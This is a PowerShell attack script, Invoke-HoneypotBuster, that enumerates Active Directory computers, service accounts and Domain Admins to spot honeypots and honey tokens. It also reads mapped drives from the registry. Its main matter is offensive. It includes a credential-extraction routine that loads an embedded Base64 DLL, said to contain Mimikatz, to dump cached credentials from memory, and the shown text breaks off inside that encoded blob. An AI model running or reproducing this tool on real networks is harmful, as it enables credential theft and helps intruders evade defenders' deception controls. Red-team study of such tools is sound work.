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Invoke-HoneypotBuster.ps1
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function Invoke-HoneypotBuster
{
<#
.SYNOPSIS
This script leverages multiple methods to detect fake domain objects that might be honey pots or honey tokens,
It analyzes the LDAP attributes of Active Directory computer objects to determine the possibility they're might be fake.
it also extracts the cached credentials from the memory to determine if they're fake (Not OpSec)
Additional feature is analyzing the results from the LDAP queries to determine DNS Records anomalies -
when there's a large number of DNS Names pointing to the same IP Address.
Corrolating all of these data, we also fetch mapped drives that might be pointing to a honey pot.
All of the modules included in the script won't attempt to authenticate or do any lateral movement attempt that might be detected,
however, the credentials extraction uses mimikatz modules that might be detected by AV or EDR.
Function: Invoke-HoneypotBuster
Author: Eyal Neemany (@Zwiitzer). http://www.javelin-networks.com
License: https://opensource.org/licenses/BSD-3-Clause
Version: 1.2
Contains Mimikatz Code in the embedded Base64 DLL
.PARAMETER ComputerName
Specify the remote computername or IP to run the credentials extract module on (MANDATORY TO REMOTE)
.PARAMETER CsvOutput
Specify the path to export the result as csv files to (OPTIONAL)
.PARAMETER OpSec
Disable Credential Extraction from the memory, and DNS records anomalies.
It won't load DLLs to the memory at all, just pure PS code.
.NOTES
Written by Eyal Neemany and Adam Chriki, Javelin Networks 2017
.Example
Invoke-HoneypotBuster
#>
Param(
[string]$ComputerName="localhost",
[string]$CsvOutput,
[switch]$OpSec
)
$ComputerName="localhost"
function LogoArt
{
$asciiart = @"
__ __ __ ____ __
/ / / ____ ____ ___ __ ______ ____ / /_ / __ )__ _______/ /____ _____
/ /_/ / __ \/ __ \/ _ \/ / / / __ \/ __ \/ __/ / __ / / / / ___/ __/ _ \/ ___/
/ __ / /_/ / / / / __/ /_/ / /_/ / /_/ / /_ / /_/ / /_/ (__ / /_/ __/ /
/_/ /_/\____/_/ /_/\___/\__, / .___/\____/\__/ /_____/\__,_/____/\__/\___/_/
/____/_/
"@
return $asciiart
}
write-host (LogoArt) -ForegroundColor Magenta
function ConvertTo-Json20([object] $item){
add-type -assembly system.web.extensions
$ps_js=new-object system.web.script.serialization.javascriptSerializer
return $ps_js.Serialize($item)
}
function ConvertFrom-Json20([object] $item){
add-type -assembly system.web.extensions
$ps_js=new-object system.web.script.serialization.javascriptSerializer
#The comma operator is the array construction operator in PowerShell
return ,$ps_js.DeserializeObject($item)
}
if ($env:userdnsdomain -eq $null)
{
write-host "ERROR - Can't detect AD environment" -ForegroundColor Red
break;
}
function Get-QueryComputers
{
$objDomain = New-Object System.DirectoryServices.DirectoryEntry
$objSearcher = New-Object System.DirectoryServices.DirectorySearcher
$objSearcher.SearchRoot = $objDomain
$objSearcher.PageSize = 1000000
$objSearcher.SearchScope = "Subtree"
$strFilter = "(&(objectCategory=Computer))"
$objSearcher.Filter = $strFilter
return $objSearcher.FindAll()
}
function Get-PowerfulGroups ($objResult)
{
if($objResult.Properties.memberof -like "CN=Domain Admins,CN=Users*"){return $true}
if($objResult.Properties.memberof -like "CN=DnsAdmins,CN=Users*"){return $true}
if($objResult.Properties.memberof -like "CN=DHCP Administrators,CN=Users*"){return $true}
if($objResult.Properties.memberof -like "CN=Enterprise Admins,CN=Users*"){return $true}
if($objResult.Properties.memberof -like "CN=Schema Admins,CN=Users*"){return $true}
if($objResult.Properties.memberof -like "CN=Administrators,CN=Builtin*"){return $true}
return $false
}
function Get-ServiceUsers
{
$objDomain = New-Object System.DirectoryServices.DirectoryEntry
$objSearcher = New-Object System.DirectoryServices.DirectorySearcher
$objSearcher.SearchRoot = $objDomain
$objSearcher.PageSize = 1000000
$objSearcher.SearchScope = "Subtree"
$strFilter = "(&(objectCategory=user)(serviceprincipalname=*))"
$objSearcher.Filter = $strFilter
return ($objSearcher.FindAll())
}
function Get-DomainAdmins
{
$objDomain = New-Object System.DirectoryServices.DirectoryEntry
$objSearcher = New-Object System.DirectoryServices.DirectorySearcher
$objSearcher.SearchRoot = $objDomain
$objSearcher.PageSize = 1000
$objSearcher.SearchScope = "Subtree"
$strFilter = "(&(sAMAccountName=Domain Admins))"
$objSearcher.Filter = $strFilter
$DomainAdminDN = ($objSearcher.FindOne()).Properties.distinguishedname
$objDomain = New-Object System.DirectoryServices.DirectoryEntry
$objSearcher = New-Object System.DirectoryServices.DirectorySearcher
$objSearcher.SearchRoot = $objDomain
$objSearcher.PageSize = 10000000
$objSearcher.SearchScope = "Subtree"
$strFilter = "(&(objectCategory=user)(memberOf=$DomainAdminDN))"
$objSearcher.Filter = $strFilter
return ($objSearcher.FindAll())
}
Function Get-DateFromObject ($Object)
{
$NewObject = ($Object[0] | out-string -stream)
if ($NewObject -ne $null)
{
$Result = ([datetime]::FromFileTime($NewObject) | Get-Date -ErrorAction SilentlyContinue)
return ($result.Ticks)
}
}
function Get-InactiveDomainAdmins ($DomainAdminsList)
{
$FakeDA = @()
$Now75Time = ((get-date).AddDays(-75)).Ticks
$Now25Time = ((get-date).AddDays(-25)).Ticks
foreach ($objResult in $DomainAdminsList)
{
$rank = 0
if (($objResult.Properties.logoncount -eq $null) -or ($objResult.Properties.logoncount[0] -eq 0))
{
$rank += 40
}
else
{
if ($objResult.Properties.logoncount[0] -lt 6){$rank += 25}
}
if ($objResult.Properties.lastlogontimestamp -eq $null)
{
$rank += 60
}
else
{
$objectlastlogon = Get-DateFromObject ($objResult.Properties.lastlogontimestamp) | out-null
if ($objectlastlogon -lt $Now75Time) {$rank += 25}
}
if ($rank -gt 40)
{
$ObjectA = New-Object PSObject
$ObjectA | add-member Noteproperty UserName ($objResult.Properties.name | Out-String -Stream)
$ObjectA | add-member Noteproperty FakeRank $rank
$FakeDA += $ObjectA
}
}
return $FakeDA
}
function Get-InactiveComputers ($colResults)
{
$InactiveComps = @()
foreach ($objResult in $colResults)
{
$rank = 100
if ($objResult.Properties.logoncount -ne 0 -and $objResult.Properties.logoncount -ne $null){$rank -= 5}
#if ($objResult.Properties.dscorepropagationdata[0].Year -ne 1601){$rank -= 1}
if ($objResult.Properties.lastlogon -ne 0 -and $objResult.Properties.lastlogon -ne $null){$rank -= 6}
if ($objResult.Properties.lastlogontimestamp -ne $null){$rank -= 29}
if ($objResult.Properties.'msds-supportedencryptiontypes' -ne $null){$rank -= 15}
if ($objResult.Properties.serviceprincipalname -eq $null -or $objResult.Properties.serviceprincipalname -eq 0){}else{$rank -= 29}
if ((($objResult.Properties.whenchanged).Ticks) -gt (((get-date).AddDays(-75)).Ticks)) {$rank -= 16}
if ($rank -gt 31)
{
$ObjectB = New-Object PSObject
$ObjectB | add-member Noteproperty ComputerName ($objResult.Properties.name | Out-String -Stream)
$ObjectB | add-member Noteproperty FakeRank $rank
$InactiveComps += $ObjectB
}
}
return $InactiveComps
}
function Get-isUserActive ($samaccountname)
{
$UserName = $samaccountname.Split('\')[1]
if($UserName -eq $null)
{
$UserName = ($samaccountname.Split('@')[0])
}
$objDomain = New-Object System.DirectoryServices.DirectoryEntry
$objSearcher = New-Object System.DirectoryServices.DirectorySearcher
$objSearcher.SearchRoot = $objDomain
$objSearcher.PageSize = 15
$objSearcher.SearchScope = "Subtree"
$strFilter = "(&(objectCategory=user)(sAMAccountName=$UserName))"
$objSearcher.Filter = $strFilter
$objResult = $objSearcher.FindAll()
if($objResult.Count -eq 0){return 100}
$Rank = 10
if (Get-PowerfulGroups ($objResult[0])){$Rank += 10}
if (($objResult[0].Properties.logoncount -eq 0) -or ($objResult[0].Properties.logoncount -eq $null)){$rank += 25}
if ($objResult[0].Properties.lastlogontimestamp -eq $null){$rank += 35}
if ($objResult[0].Properties.lastlogon -eq 0 -or $objResult[0].Properties.lastlogon -eq $null){$rank += 24}
return $Rank
}
function Get-FakeServiceUsers ($b)
{
$FakeSRVUsers = @()
foreach ($objResult in $b)
{
$rank = 100
if ($objResult.Properties.logoncount -ne 0 -and $objResult.Properties.logoncount -ne $null){$rank -= 8}
if ($objResult.Properties.lastlogontimestamp -ne $null){$rank -= 37}
if ($objResult.Properties.lastlogon -ne 0 -and $objResult.Properties.lastlogon -ne $null){$rank -= 8}
$isPower = Get-PowerfulGroups ($objResult)
if ($isPower)
{
$rank -= 35
}
else
{
if ($objResult.Properties.admincount -eq 1){}else{$rank -= 35}
}
if ($rank -gt 20 -and $objResult.Properties.name -ne "krbtgt" -and $objResult.Properties.name -ne "adfs service account")
{
$ObjectA = New-Object PSObject
$ObjectA | add-member Noteproperty ServiceUserName ($objResult.Properties.name | Out-String -Stream)
$ObjectA | add-member Noteproperty FakeRank $rank
$ObjectA | add-member Noteproperty SPNs ($objResult.Properties.serviceprincipalname | Out-String -Stream)
$FakeSRVUsers += $ObjectA
}
}
return $FakeSRVUsers
}
function Get-CachedUser ($CachedUsersRes)
{
$DomainFQDN = $env:userdnsdomain
$DomainShort = ($DomainFQDN.Split('.'))[0]
$CachedUsers = @()
foreach ($objResult in $CachedUsersRes)
{
$msvInfo = ConvertFrom-Json20($objResult.MsvInfo)
foreach ($credman in $objResult.CredInfoList)
{
$credInfo = ConvertFrom-Json20($credman.CredInfo)
if($CredInfo.UserName -like "*$DomainShort*")
{
$Rank = Get-isUserActive ($CredInfo.UserName)
$ObjectC = New-Object PSObject
$ObjectC | add-member Noteproperty InjectedUserName $CredInfo.UserName
$ObjectC | add-member Noteproperty InjectedTarget $CredInfo.TargetServer
$ObjectC | add-member Noteproperty SessionUserName $objResult.UserName
$ObjectC | add-member Noteproperty SessionDomain $objResult.Domain
$ObjectC | add-member Noteproperty FakeRank $Rank
$ObjectC | add-member Noteproperty DeceptionType "Credentials Manager"
$ObjectC | add-member Noteproperty SessionSID $objResult.SID
$ObjectC | add-member Noteproperty SessionLogonTime $objResult.LogonTime
$CachedUsers += $ObjectC
}
else
{
$ObjectC = New-Object PSObject
$ObjectC | add-member Noteproperty InjectedUserName $CredInfo.UserName
$ObjectC | add-member Noteproperty InjectedTarget $CredInfo.TargetServer
$ObjectC | add-member Noteproperty SessionUserName $objResult.UserName
$ObjectC | add-member Noteproperty SessionDomain $objResult.Domain
$ObjectC | add-member Noteproperty FakeRank "0"
$ObjectC | add-member Noteproperty DeceptionType "BreadCrumbs"
$ObjectC | add-member Noteproperty SessionSID $objResult.SID
$ObjectC | add-member Noteproperty SessionLogonTime $objResult.LogonTime
$CachedUsers += $ObjectC
}
}
$rank = 0
if ($objResult.LogonServer -eq "(null)"){$rank += 20}
if ($objResult.Session -eq "NewCredentials"){$rank += 50}
if ($msvInfo.Domain -like "*$DomainFQDN*"){$rank += 5}
if ($rank -gt 35){
if((Get-isUserActive ($msvInfo.UserName)) -gt 75){$rank = 100}
$ObjectB = New-Object PSObject
$ObjectB | add-member Noteproperty InjectedUserName $msvInfo.UserName
$ObjectB | add-member Noteproperty InjectedDomain $msvInfo.Domain
$ObjectB | add-member Noteproperty SessionUserName $objResult.UserName
$ObjectB | add-member Noteproperty SessionDomain $objResult.Domain
$ObjectB | add-member Noteproperty FakeRank $rank
$ObjectB | add-member Noteproperty DeceptionType "NetOnly Cred"
$ObjectB | add-member Noteproperty SessionSID $objResult.SID
$ObjectB | add-member Noteproperty SessionLogonTime $objResult.LogonTime
$CachedUsers += $ObjectB}
}
return $CachedUsers
}
function Get-WinShares ($Targets)
{
function Get-SingleDNS ($DNSHostname)
{
$regex = [regex] "(?:(?:25[0-5]|2[0-4][0-9]|[01]?[0-9][0-9]?)\.){3}(?:25[0-5]|2[0-4][0-9]|[01]?[0-9][0-9]?)"
$IPAdd = ($regex.Matches($DNSHostname) | %{ $_.value })
if ($IPAdd)
{
try{
$IPAdd = ([system.net.dns]::GetHostByAddress($IPAdd).hostname)
return ($IPAdd.Split('.')[0])}
catch {return (get-random | out-string -stream)}
}
else
{
return $DNSHostname
}
}
function Get-Normalized ($ComplicatedString)
{
$regex = [regex] "(?:(?:25[0-5]|2[0-4][0-9]|[01]?[0-9][0-9]?)\.){3}(?:25[0-5]|2[0-4][0-9]|[01]?[0-9][0-9]?)"
if ($ComplicatedString.Contains("\\"))
{
$Normalized = $ComplicatedString.Split('\',4)[2]
if($regex.IsMatch($Normalized))
{
$IPAdd = ($regex.Matches($Normalized) | %{ $_.value })
$Normalized = ([system.net.dns]::GetHostByAddress($IPAdd).hostname)
}
}
else
{
$Normalized = ($ComplicatedString.Split('/')[1])
if($Normalized -eq $null)
{$Normalized = $ComplicatedString}
if($regex.IsMatch($Normalized))
{
$IPAdd = ($regex.Matches($Normalized) | %{ $_.value })
$Normalized = ([system.net.dns]::GetHostByAddress($IPAdd).hostname)
}
}
if($Normalized -eq $null)
{$Normalized = $ComplicatedString}
return ((($Normalized.Split('.'))[0]).Tolower())
}
$MappedRes = @()
$MappedDrives = Get-ItemProperty -Path Registry::HKEY_USERS\*\Network\* | select -Unique RemotePath,PSChildName
foreach ($ObjResult in $MappedDrives)
{
foreach ($SingleTarget in $Targets)
{
try{
$MappedDNS = Get-Normalized ($ObjResult.RemotePath)
$CredManDNS = Get-Normalized ($SingleTarget)
if ($MappedDNS.Contains($CredManDNS))
{
$ObjectA = New-Object PSObject
$ObjectA | add-member Noteproperty DriveLetter ($ObjResult.PSChildName)
$ObjectA | add-member Noteproperty Path ($ObjResult.RemotePath)
$MappedRes += $ObjectA
}
}
catch{}
}
}
Return $MappedRes
}
$CompList = Get-QueryComputers
## Execute Phase 1
if($CsvOutput)
{
Get-InactiveComputers ($CompList) | Export-Csv $path\InactiveComputers.csv
Get-FakeServiceUsers (Get-ServiceUsers) | Export-Csv $path\ServiceAccounts.csv
Get-InactiveDomainAdmins (Get-DomainAdmins) | Export-Csv $path\InactiveDomainAdmins.csv
}
else
{
Write-Host "Fake Computer Objects Honey Pots" -ForegroundColor Gray -BackgroundColor Black
Get-InactiveComputers ($CompList) | ft -AUTO
Write-Host "Fake Service Accounts Honey Tokens" -ForegroundColor Gray -BackgroundColor Black
Get-FakeServiceUsers (Get-ServiceUsers)| ft -AUTO
Write-Host "Inactive Domain Admins Honey Tokens" -ForegroundColor Gray -BackgroundColor Black
Get-InactiveDomainAdmins (Get-DomainAdmins) | ft -AUTO
}
## Execute DLL Loader
if(!$OpSec)
{
$Loader64Block = {
$EncodedCompressedFile = @'
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